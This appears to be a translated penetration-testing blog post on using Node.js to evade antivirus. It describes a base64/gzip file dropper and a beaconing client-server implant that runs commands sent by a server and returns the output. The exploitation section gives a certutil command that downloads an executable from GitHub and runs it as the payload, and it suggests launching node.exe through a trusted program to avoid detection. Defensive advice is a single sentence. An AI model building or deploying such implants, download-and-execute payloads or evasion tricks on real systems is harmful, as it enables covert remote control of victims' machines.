0x00 Preface
---
Node.js is a JavaScript runtime environment built on Chrome's V8 engine. It uses an event-driven, non-blocking I/O model, making it lightweight and efficient.
I recently learned a technique for bypassing active defense using Node.js from an article, so I studied Node.js syntax and am open-sourcing an implementation code for a Downloader, sharing details to note during script development.
Learning resource for bypassing active defense with Node.js:
https://bbs.pediy.com/thread-249573.htm
0x01 Introduction
---
This article will cover the following:
- Basic Concepts
- File Dropper Implementation using Node.js
- Downloader Implementation using Node.js
- Exploitation Ideas
- Defense Recommendations
0x02 Basic Concepts
---
Difference between Node.js and JavaScript
JavaScript is a programming language
Node.js is a JavaScript runtime environment built on Chrome's V8 engine
Although both use .js file extensions on Windows, they differ significantly and have different syntax
Using Node.js
Official documentation:
https://nodejs.org/api/
Chinese resources:
http://www.runoob.com/nodejs/nodejs-tutorial.html
Download address:
https://nodejs.org/en/download/
On Windows, Node.js code is saved in files with .js extension and executed via node.exe
Node.js supports third-party packages; modules can be installed using npm command, example as follows:
Install web framework module express:
npm install express |
Use module express:
var express = require('express'); |
Note:
The code covered in this article does not use third-party packages, only uses node.exe from the installation package
0x03 File Release Implementation Using Node.js
---
Implementation Approach:
Base64 encode the exe file and store it in a file; during release, first read the file for decoding, then write to the file
1. Read file content, perform base64 encoding, and output to data.txt
function base64_encode(file) { |
Note:
fs.readFileSync indicates synchronous reading; use fs.readFile for asynchronous reading
Execute:
node.js base64encode.js >data.txt |
2. Read the encrypted string saved in data.txt, base64 decode it, and generate a new file test2.exe
function base64_decode(base64str, file) { |
Note:
After reading the file using the code var base64str = fs.readFileSync('data.txt');, the variablebase64strneeds to be explicitly converted to a string type, i.e., base64str.toString()
To reduce file size, incorporate the gzip compression algorithm
1. Read the content from test.exe, perform gzip compression, and save it to the file data.gz
function gunzip(sourcePath) { |
2. Read the content from data.gz, perform gzip decompression, and save to file test2.exe
var zlib = require('zlib'); |
0x04 Downloader implemented using Node.js
---
Implementation approach:
1. Server
- Listen on a specified port, wait for client connections, record the client's IP, connection time, and post data
- Filter client packets, return control commands to clients meeting condition 1, display command execution results sent by clients meeting condition 2 on the current console, otherwise return a 404 page
2. Client
- Connect to a specified server, send post data in a fixed format, including the current system's hostname and operating system version
- Receive control commands returned by the server, execute them, and then send the results back to the server
- If the server does not respond, wait for a period of time before sending the post request again
The following issues need to be considered:
1. Execute cmd commands via Node.js
function runcmd(command) { |
2. Implementation of HTTP Communication
Server:
var http = require('http'); |
Client:
function sendHello(host1,port1){ |
Client sends post data to Server, content is data1=str1&data2=str2
After receiving the request, Server replies to Client with 'Message from server'
3. Implementation of sleep
Node.js does not support sleep operation by default, it can be implemented as follows:
function sleep(milliSeconds){ |
Convert string type to number by adding + in front
4. Client periodically sends post requests in a loop
Here we need to consider asynchronous and synchronous issues
Node.js is asynchronous programming, but the client's periodic loop for sending post requests needs to be implemented synchronously. Test code is as follows:
Server:
Code same as above
Client:
function sleep(milliSeconds){ |
Expected result:
Client sends a POST request every 5 seconds and receives the result
Actual result:
The loop executes every 5 seconds, but the Client does not send a request
Since our initial plan was not to use npm, we also cannot use the async module to achieve synchronization
Finally, I resolved the synchronization issue through method nesting, as shown in the following example:
function sleep(milliSeconds){ |
5. Server displays Client's IP
Code as follows:
function getClientIp(req) { |
Default format is IPv6, for example:
::ffff:127.0.0.1 |
Can be specified as IPv4 by modifying listen parameters
Before modification:
.listen(3000); |
After modification:
.listen(3000,'0.0.0.0'); |
6. The server checks the POST request and replies with 404 if it does not meet requirements.
Simply check the content of the body.
The complete implementation code has been open-sourced at:
An open-source project
Note:
The open-source code is merely an example, used to demonstrate NodeJS functionality.
Usage is as follows:
First, obtain node.exe from the download address: https://nodejs.org/en/download/
1. Edit the file Server.js
You can compile the following content:
- Command sent to the client: var command
- Listen on port: .listen(80,'0.0.0.0');
2. Start the Server
node.exe Server.js |
Listen on the specified port, wait for client connections, and record the client's IP, connection time, and POST data.
Filter client packets, return control commands to first-time clients, display command execution results from clients on the current console for second-time clients, otherwise return a 404 page
3. Edit the file Client.js
Compile the following content:
- Server IP: var serverip
- Server port: var serverport
- Loop interval time: var timeinterval
4. Start Client
node.exe Client.js |
Client will connect to the Server, send fixed-format post data including the current system's hostname and operating system version
Then receive control commands returned by the Server, execute them, and send the results back to the Server
If the Server does not respond, wait for a period before sending the post request again
0x05 Exploitation Approach
---
1. The open-source code supports multiple payloads
The payload can be set to download and execute files, for example
var command = 'certutil -urlcache -split -f https://github.com/3gstudent/test/raw/master/putty.exe c:\\a.exe&&c:\\a.exe'; |
For more download and execution commands, refer to the previous article 'Penetration Techniques – Multiple Methods for Downloading Files from GitHub'.
Note:
To send a command for Client exit, use:
var command = 'taskkill /f /im node.exe'; |
2. Can be loaded by third-party trusted programs
Reference:
https://bbs.pediy.com/thread-249573.htm
t.exe -> node.exe -> main.js
Demonstration as shown:

0x06 Defense Recommendations
---
Monitor and judge the behavior of child processes (node.exe) of t.exe, and intercept if suspicious behavior is detected.
0x07 Summary
---
This article details key considerations in Node.js code development and shares an open-source test code for a Downloader to demonstrate Node.js functionalities.
It briefly analyzes exploitation approaches in penetration testing and provides defense recommendations.